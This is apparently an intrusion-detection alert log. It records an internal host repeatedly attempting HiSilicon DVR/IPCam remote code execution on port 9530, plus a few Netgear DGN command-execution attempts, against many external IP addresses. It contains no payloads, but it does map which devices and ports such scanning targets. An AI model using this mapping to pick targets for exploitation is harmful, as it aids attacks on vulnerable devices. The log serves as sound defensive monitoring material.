05/16/24-16:38:49.306429	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	42358	80	192.168.2.23	118.235.32.54
05/16/24-16:39:16.585508	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35456	9530	192.168.2.23	76.38.95.233
05/16/24-16:39:16.585508	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35456	9530	192.168.2.23	76.38.95.233
05/16/24-16:38:53.098249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36400	9530	192.168.2.23	59.252.215.170
05/16/24-16:38:53.098249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36400	9530	192.168.2.23	59.252.215.170
05/16/24-16:39:16.605108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37346	9530	192.168.2.23	140.192.77.179
05/16/24-16:39:16.605108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37346	9530	192.168.2.23	140.192.77.179
05/16/24-16:39:12.383573	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34314	9530	192.168.2.23	23.76.74.202
05/16/24-16:39:12.383573	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34314	9530	192.168.2.23	23.76.74.202
05/16/24-16:39:12.403746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37334	9530	192.168.2.23	119.121.148.113
05/16/24-16:39:12.403746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37334	9530	192.168.2.23	119.121.148.113
05/16/24-16:38:57.409019	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33788	9530	192.168.2.23	137.225.213.157
05/16/24-16:38:57.409019	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33788	9530	192.168.2.23	137.225.213.157
05/16/24-16:38:57.438410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51660	9530	192.168.2.23	187.146.184.74
05/16/24-16:38:57.438410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51660	9530	192.168.2.23	187.146.184.74
05/16/24-16:38:53.098290	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57662	9530	192.168.2.23	8.21.168.206
05/16/24-16:38:55.215538	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40136	9530	192.168.2.23	154.164.128.253
05/16/24-16:38:55.215538	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40136	9530	192.168.2.23	154.164.128.253
05/16/24-16:38:50.068336	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52342	9530	192.168.2.23	119.182.188.6
05/16/24-16:38:50.068336	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52342	9530	192.168.2.23	119.182.188.6
05/16/24-16:39:05.705292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38948	9530	192.168.2.23	150.47.227.138
05/16/24-16:39:05.705292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38948	9530	192.168.2.23	150.47.227.138
05/16/24-16:38:53.011420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48800	9530	192.168.2.23	110.120.106.12
05/16/24-16:38:53.011420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48800	9530	192.168.2.23	110.120.106.12
05/16/24-16:38:57.434348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39798	9530	192.168.2.23	159.223.35.47
05/16/24-16:38:57.434348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39798	9530	192.168.2.23	159.223.35.47
05/16/24-16:39:05.678392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42264	9530	192.168.2.23	110.237.155.13
05/16/24-16:39:12.407539	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44484	9530	192.168.2.23	148.35.168.66
05/16/24-16:38:53.098290	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57662	9530	192.168.2.23	8.21.168.206
05/16/24-16:39:05.678392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42264	9530	192.168.2.23	110.237.155.13
05/16/24-16:39:12.407539	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44484	9530	192.168.2.23	148.35.168.66
05/16/24-16:39:16.576791	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40592	9530	192.168.2.23	219.168.33.224
05/16/24-16:39:16.576791	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40592	9530	192.168.2.23	219.168.33.224
05/16/24-16:39:16.605743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60402	9530	192.168.2.23	195.245.163.211
05/16/24-16:39:16.605743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60402	9530	192.168.2.23	195.245.163.211
05/16/24-16:39:05.678431	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47492	9530	192.168.2.23	157.126.11.78
05/16/24-16:39:05.678431	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47492	9530	192.168.2.23	157.126.11.78
05/16/24-16:38:57.409011	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39122	9530	192.168.2.23	101.217.146.226
05/16/24-16:38:57.409011	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39122	9530	192.168.2.23	101.217.146.226
05/16/24-16:38:59.558461	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46226	9530	192.168.2.23	201.7.32.11
05/16/24-16:38:53.011217	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48970	9530	192.168.2.23	78.142.95.35
05/16/24-16:38:59.558461	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46226	9530	192.168.2.23	201.7.32.11
05/16/24-16:38:53.011217	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48970	9530	192.168.2.23	78.142.95.35
05/16/24-16:38:50.078800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53528	9530	192.168.2.23	85.140.12.220
05/16/24-16:39:12.401706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57366	9530	192.168.2.23	196.225.19.240
05/16/24-16:38:50.078800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53528	9530	192.168.2.23	85.140.12.220
05/16/24-16:39:12.401706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57366	9530	192.168.2.23	196.225.19.240
05/16/24-16:39:05.714866	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57144	9530	192.168.2.23	171.61.172.198
05/16/24-16:39:05.714866	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57144	9530	192.168.2.23	171.61.172.198
05/16/24-16:38:59.586869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48360	9530	192.168.2.23	107.157.94.226
05/16/24-16:38:59.586869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48360	9530	192.168.2.23	107.157.94.226
05/16/24-16:39:02.767747	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43260	9530	192.168.2.23	103.231.138.207
05/16/24-16:39:08.035656	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36878	9530	192.168.2.23	175.110.208.141
05/16/24-16:39:08.035656	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36878	9530	192.168.2.23	175.110.208.141
05/16/24-16:39:12.382085	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45508	9530	192.168.2.23	120.236.222.225
05/16/24-16:39:12.382085	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45508	9530	192.168.2.23	120.236.222.225
05/16/24-16:38:59.590385	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34776	9530	192.168.2.23	197.52.9.103
05/16/24-16:38:59.590385	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34776	9530	192.168.2.23	197.52.9.103
05/16/24-16:39:16.597864	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56396	9530	192.168.2.23	142.85.230.164
05/16/24-16:39:16.597864	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56396	9530	192.168.2.23	142.85.230.164
05/16/24-16:39:16.579422	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58246	9530	192.168.2.23	72.45.212.160
05/16/24-16:39:16.579422	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58246	9530	192.168.2.23	72.45.212.160
05/16/24-16:38:50.069064	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48120	9530	192.168.2.23	200.205.98.218
05/16/24-16:39:12.298159	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37222	9530	192.168.2.23	69.75.127.176
05/16/24-16:38:50.069064	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48120	9530	192.168.2.23	200.205.98.218
05/16/24-16:39:12.298159	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37222	9530	192.168.2.23	69.75.127.176
05/16/24-16:39:16.609436	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46672	9530	192.168.2.23	143.7.162.22
05/16/24-16:39:16.609436	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46672	9530	192.168.2.23	143.7.162.22
05/16/24-16:39:16.599069	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36664	9530	192.168.2.23	210.0.78.26
05/16/24-16:39:16.599069	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36664	9530	192.168.2.23	210.0.78.26
05/16/24-16:39:13.656949	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	42650	80	192.168.2.23	66.53.197.168
05/16/24-16:39:03.276024	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36896	9530	192.168.2.23	59.84.102.162
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41674	9530	192.168.2.23	126.100.104.104
05/16/24-16:39:03.276024	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36896	9530	192.168.2.23	59.84.102.162
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41674	9530	192.168.2.23	126.100.104.104
05/16/24-16:39:16.597873	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32814	9530	192.168.2.23	218.86.84.83
05/16/24-16:39:16.597873	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32814	9530	192.168.2.23	218.86.84.83
05/16/24-16:38:50.069061	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47454	9530	192.168.2.23	168.179.231.74
05/16/24-16:38:50.069061	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47454	9530	192.168.2.23	168.179.231.74
05/16/24-16:38:57.305743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57246	9530	192.168.2.23	186.201.157.108
05/16/24-16:38:57.305743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57246	9530	192.168.2.23	186.201.157.108
05/16/24-16:39:05.704050	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56128	9530	192.168.2.23	135.227.200.41
05/16/24-16:39:05.704050	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56128	9530	192.168.2.23	135.227.200.41
05/16/24-16:38:57.411354	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34128	9530	192.168.2.23	94.212.150.139
05/16/24-16:38:57.411354	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34128	9530	192.168.2.23	94.212.150.139
05/16/24-16:39:02.728016	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38940	9530	192.168.2.23	186.219.243.2
05/16/24-16:39:08.041106	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41538	9530	192.168.2.23	211.226.239.249
05/16/24-16:39:02.728016	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38940	9530	192.168.2.23	186.219.243.2
05/16/24-16:39:03.285591	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56672	9530	192.168.2.23	144.161.191.132
05/16/24-16:39:08.041106	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41538	9530	192.168.2.23	211.226.239.249
05/16/24-16:39:05.699178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36022	9530	192.168.2.23	85.155.194.40
05/16/24-16:39:05.699178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36022	9530	192.168.2.23	85.155.194.40
05/16/24-16:39:14.523102	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35026	9530	192.168.2.23	134.13.70.155
05/16/24-16:39:14.523102	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35026	9530	192.168.2.23	134.13.70.155
05/16/24-16:39:12.382088	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47150	9530	192.168.2.23	129.12.91.128
05/16/24-16:39:12.382088	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47150	9530	192.168.2.23	129.12.91.128
05/16/24-16:38:57.429392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58050	9530	192.168.2.23	46.199.250.195
05/16/24-16:38:57.429392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58050	9530	192.168.2.23	46.199.250.195
05/16/24-16:39:12.304097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39582	9530	192.168.2.23	8.160.73.120
05/16/24-16:39:12.304097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39582	9530	192.168.2.23	8.160.73.120
05/16/24-16:39:12.406049	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60126	9530	192.168.2.23	185.149.242.222
05/16/24-16:39:12.406049	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60126	9530	192.168.2.23	185.149.242.222
05/16/24-16:38:55.198260	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51704	9530	192.168.2.23	202.156.222.196
05/16/24-16:38:55.198260	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51704	9530	192.168.2.23	202.156.222.196
05/16/24-16:38:50.065124	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58234	9530	192.168.2.23	94.76.235.182
05/16/24-16:38:50.065124	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58234	9530	192.168.2.23	94.76.235.182
05/16/24-16:39:05.694675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60494	9530	192.168.2.23	110.149.71.160
05/16/24-16:38:50.068355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45976	9530	192.168.2.23	74.104.126.111
05/16/24-16:39:05.694675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60494	9530	192.168.2.23	110.149.71.160
05/16/24-16:38:50.068355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45976	9530	192.168.2.23	74.104.126.111
05/16/24-16:38:50.080372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39162	9530	192.168.2.23	104.236.177.157
05/16/24-16:38:50.080372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39162	9530	192.168.2.23	104.236.177.157
05/16/24-16:39:08.136427	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34508	9530	192.168.2.23	2.187.194.107
05/16/24-16:39:12.382788	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33900	9530	192.168.2.23	179.88.55.156
05/16/24-16:39:08.136427	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34508	9530	192.168.2.23	2.187.194.107
05/16/24-16:38:50.080094	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48308	9530	192.168.2.23	182.62.232.233
05/16/24-16:38:50.080094	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48308	9530	192.168.2.23	182.62.232.233
05/16/24-16:39:12.382788	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33900	9530	192.168.2.23	179.88.55.156
05/16/24-16:39:02.767747	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43260	9530	192.168.2.23	103.231.138.207
05/16/24-16:39:03.285591	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56672	9530	192.168.2.23	144.161.191.132
05/16/24-16:39:16.603194	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43792	9530	192.168.2.23	199.22.128.103
05/16/24-16:39:16.603194	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43792	9530	192.168.2.23	199.22.128.103
05/16/24-16:39:14.510062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45554	9530	192.168.2.23	84.2.227.148
05/16/24-16:39:14.510062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45554	9530	192.168.2.23	84.2.227.148
05/16/24-16:39:14.494684	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58620	9530	192.168.2.23	20.195.80.38
05/16/24-16:39:16.579878	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51184	9530	192.168.2.23	111.103.102.228
05/16/24-16:38:59.587419	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38690	9530	192.168.2.23	122.28.64.94
05/16/24-16:39:14.494684	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58620	9530	192.168.2.23	20.195.80.38
05/16/24-16:39:16.579878	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51184	9530	192.168.2.23	111.103.102.228
05/16/24-16:38:59.587419	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38690	9530	192.168.2.23	122.28.64.94
05/16/24-16:38:57.306853	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37004	9530	192.168.2.23	24.61.60.153
05/16/24-16:38:57.306853	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37004	9530	192.168.2.23	24.61.60.153
05/16/24-16:39:03.262246	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32990	9530	192.168.2.23	154.18.231.140
05/16/24-16:39:03.262246	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32990	9530	192.168.2.23	154.18.231.140
05/16/24-16:39:12.382798	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57470	9530	192.168.2.23	145.252.28.182
05/16/24-16:39:12.382798	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57470	9530	192.168.2.23	145.252.28.182
05/16/24-16:39:02.725599	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43190	9530	192.168.2.23	118.39.160.26
05/16/24-16:39:02.725599	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43190	9530	192.168.2.23	118.39.160.26
05/16/24-16:39:12.304012	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40434	9530	192.168.2.23	136.172.33.168
05/16/24-16:39:12.304012	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40434	9530	192.168.2.23	136.172.33.168
05/16/24-16:38:57.431241	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42958	9530	192.168.2.23	60.78.48.188
05/16/24-16:38:57.431241	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42958	9530	192.168.2.23	60.78.48.188
05/16/24-16:39:08.136415	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46966	9530	192.168.2.23	31.232.179.88
05/16/24-16:39:08.136415	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46966	9530	192.168.2.23	31.232.179.88
05/16/24-16:38:57.304693	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54632	9530	192.168.2.23	175.2.23.218
05/16/24-16:38:57.304693	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54632	9530	192.168.2.23	175.2.23.218
05/16/24-16:38:50.063919	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48838	9530	192.168.2.23	59.92.220.220
05/16/24-16:38:50.063919	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48838	9530	192.168.2.23	59.92.220.220
05/16/24-16:39:05.707664	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34742	9530	192.168.2.23	130.13.138.220
05/16/24-16:39:05.707664	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34742	9530	192.168.2.23	130.13.138.220
05/16/24-16:39:05.711672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40390	9530	192.168.2.23	82.190.38.90
05/16/24-16:39:05.711672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40390	9530	192.168.2.23	82.190.38.90
05/16/24-16:38:50.004136	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46768	9530	192.168.2.23	192.50.34.36
05/16/24-16:38:50.004136	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46768	9530	192.168.2.23	192.50.34.36
05/16/24-16:38:57.409010	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48056	9530	192.168.2.23	67.63.136.12
05/16/24-16:39:08.044978	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35418	9530	192.168.2.23	145.90.8.181
05/16/24-16:38:57.409010	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48056	9530	192.168.2.23	67.63.136.12
05/16/24-16:39:12.380082	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52562	9530	192.168.2.23	57.28.146.204
05/16/24-16:39:12.380082	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52562	9530	192.168.2.23	57.28.146.204
05/16/24-16:39:08.044978	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35418	9530	192.168.2.23	145.90.8.181
05/16/24-16:38:59.558036	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35846	9530	192.168.2.23	57.140.137.158
05/16/24-16:38:59.558036	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35846	9530	192.168.2.23	57.140.137.158
05/16/24-16:39:14.491222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34262	9530	192.168.2.23	118.119.149.10
05/16/24-16:39:14.491222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34262	9530	192.168.2.23	118.119.149.10
05/16/24-16:39:12.400817	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44572	9530	192.168.2.23	133.3.176.156
05/16/24-16:38:50.069055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52568	9530	192.168.2.23	64.120.167.100
05/16/24-16:38:50.069055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52568	9530	192.168.2.23	64.120.167.100
05/16/24-16:39:12.406142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47536	9530	192.168.2.23	203.188.230.78
05/16/24-16:39:08.041175	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48684	9530	192.168.2.23	166.141.26.155
05/16/24-16:39:12.406142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47536	9530	192.168.2.23	203.188.230.78
05/16/24-16:39:08.041175	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48684	9530	192.168.2.23	166.141.26.155
05/16/24-16:39:16.603126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57576	9530	192.168.2.23	85.224.202.126
05/16/24-16:39:05.677757	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34844	9530	192.168.2.23	85.254.73.158
05/16/24-16:39:05.677757	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34844	9530	192.168.2.23	85.254.73.158
